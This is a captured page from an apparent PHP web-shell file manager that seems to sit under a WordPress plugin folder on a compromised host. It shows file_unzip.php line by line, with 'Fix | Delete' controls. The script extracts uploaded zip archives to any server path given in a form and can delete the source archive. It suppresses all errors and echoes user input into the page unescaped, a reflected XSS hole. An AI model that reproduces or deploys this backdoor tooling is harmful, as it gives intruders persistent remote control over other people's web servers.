Edit File by line
/home/barbar84/public_h.../wp-conte.../plugins/sujqvwi/AnonR/anonr.TX.../proc/self/root/proc/self/cwd
File: file_unzip.php
<?php
[0] Fix | Delete
function customExceptionHandler($exception) {
[1] Fix | Delete
[2] Fix | Delete
echo '<div style="font-family: Arial, sans-serif; padding: 10px; background-color: #f8d7da; border: 1px solid #f5c6cb; color: #721c24;">';
[3] Fix | Delete
echo '<strong>ERROR:</strong> This feature is not available';
[4] Fix | Delete
echo '</div>';
[5] Fix | Delete
[6] Fix | Delete
}
[7] Fix | Delete
[8] Fix | Delete
function customErrorHandler($errno, $errstr, $errfile, $errline) {
[9] Fix | Delete
[10] Fix | Delete
echo '<div style="font-family: Arial, sans-serif; padding: 10px; background-color: #f8d7da; border: 1px solid #f5c6cb; color: #721c24;">';
[11] Fix | Delete
echo '<strong>ERROR:</strong> This feature is not available';
[12] Fix | Delete
echo '</div>';
[13] Fix | Delete
[14] Fix | Delete
}
[15] Fix | Delete
[16] Fix | Delete
[17] Fix | Delete
set_exception_handler('customExceptionHandler');
[18] Fix | Delete
set_error_handler('customErrorHandler');
[19] Fix | Delete
define('ACCESS', true);
[20] Fix | Delete
[21] Fix | Delete
include_once 'function.php';
[22] Fix | Delete
[23] Fix | Delete
[24] Fix | Delete
$title = 'Solve Compressed source File';
[25] Fix | Delete
$format = $name == null ? null : getFormat($name);
[26] Fix | Delete
[27] Fix | Delete
include_once 'header.php';
[28] Fix | Delete
[29] Fix | Delete
echo '<div class="title">' . $title . '</div>';
[30] Fix | Delete
[31] Fix | Delete
if ($dir == null || $name == null || !is_file(processDirectory($dir . '/' . $name))) {
[32] Fix | Delete
echo '<div class="list"><span>The path does not exist</span></div>
[33] Fix | Delete
<div class="title">Function</div>
[34] Fix | Delete
<ul class="list">
[35] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php' . $pages['paramater_0'] . '">List</a></li>
[36] Fix | Delete
</ul>';
[37] Fix | Delete
} else if (!in_array($format, array('zip', 'jar'))) {
[38] Fix | Delete
echo '<div class="list"><span>File không phải zip</span></div>
[39] Fix | Delete
<div class="title">Function</div>
[40] Fix | Delete
<ul class="list">
[41] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">List</a></li>
[42] Fix | Delete
</ul>';
[43] Fix | Delete
} else {
[44] Fix | Delete
$dir = processDirectory($dir);
[45] Fix | Delete
$format = getFormat($name);
[46] Fix | Delete
[47] Fix | Delete
if (isset($_POST['submit'])) {
[48] Fix | Delete
echo '<div class="notice_failure">';
[49] Fix | Delete
[50] Fix | Delete
if (empty($_POST['path'])) {
[51] Fix | Delete
echo 'Not fully entered information';
[52] Fix | Delete
} else if (!is_dir(processDirectory($_POST['path']))) {
[53] Fix | Delete
echo 'Path Solve Compressed source does not exist';
[54] Fix | Delete
} else if (isPathNotPermission(processDirectory($_POST['path']))) {
[55] Fix | Delete
echo "You cannot Solve Compressed source File zip to File Manager's Path";
[56] Fix | Delete
} else {
[57] Fix | Delete
[58] Fix | Delete
[59] Fix | Delete
$zip = new PclZip($dir . '/' . $name);
[60] Fix | Delete
[61] Fix | Delete
function callback_pre_extract($event, $header)
[62] Fix | Delete
{
[63] Fix | Delete
return isPathNotPermission($header['filename']) == false ? 1 : 0;
[64] Fix | Delete
}
[65] Fix | Delete
[66] Fix | Delete
if ($zip->extract(PCLZIP_OPT_PATH, processDirectory($_POST['path']), PCLZIP_CB_PRE_EXTRACT, 'callback_pre_extract') != false) {
[67] Fix | Delete
if (isset($_POST['is_delete']))
[68] Fix | Delete
@unlink($dir . '/' . $name);
[69] Fix | Delete
[70] Fix | Delete
goURL('index.php?dir=' . $dirEncode . $pages['paramater_1']);
[71] Fix | Delete
} else {
[72] Fix | Delete
echo 'Solve Compressed source File error';
[73] Fix | Delete
}
[74] Fix | Delete
}
[75] Fix | Delete
[76] Fix | Delete
echo '</div>';
[77] Fix | Delete
}
[78] Fix | Delete
[79] Fix | Delete
echo '<div class="list">
[80] Fix | Delete
<span class="bull">&bull;</span><span>' . printPath($dir . '/' . $name) . '</span><hr/>
[81] Fix | Delete
<form action="file_unzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" method="post">
[82] Fix | Delete
<span class="bull">&bull;</span>Path Solve Compressed source:<br/>
[83] Fix | Delete
<input type="text" name="path" value="' . (isset($_POST['path']) ? $_POST['path'] : $dir) . '" size="18"/><br/>
[84] Fix | Delete
<input type="checkbox" name="is_delete" value="1"' . (isset($_POST['is_delete']) ? ' checked="checked"' : null) . '/> Delete File zip<br/>
[85] Fix | Delete
<input type="submit" name="submit" value="Solve Compressed source"/>
[86] Fix | Delete
</form>
[87] Fix | Delete
</div>
[88] Fix | Delete
<div class="title">Function</div>
[89] Fix | Delete
<ul class="list">
[90] Fix | Delete
<li><img src="icon/info.png"/> <a href="file.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Information</a></li>
[91] Fix | Delete
<li><img src="icon/unzip.png"/> <a href="file_viewzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">See</a></li>
[92] Fix | Delete
<li><img src="icon/download.png"/> <a href="file_download.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Download</a></li>
[93] Fix | Delete
<li><img src="icon/rename.png"/> <a href="file_rename.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Rename</a></li>
[94] Fix | Delete
<li><img src="icon/copy.png"/> <a href="file_copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Copy</a></li>
[95] Fix | Delete
<li><img src="icon/Copy.png"/> <a href="file_Copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Move</a></li>
[96] Fix | Delete
<li><img src="icon/delete.png"/> <a href="file_delete.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Delete</a></li>
[97] Fix | Delete
<li><img src="icon/access.png"/> <a href="file_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Chmod</a></li>
[98] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">List</a></li>
[99] Fix | Delete
</ul>';
[100] Fix | Delete
}
[101] Fix | Delete
[102] Fix | Delete
include_once 'footer.php';
[103] Fix | Delete
[104] Fix | Delete
[105] Fix | Delete
?>
[106] Fix | Delete
It is recommended that you Edit text format, this type of Fix handles quite a lot in one request
Function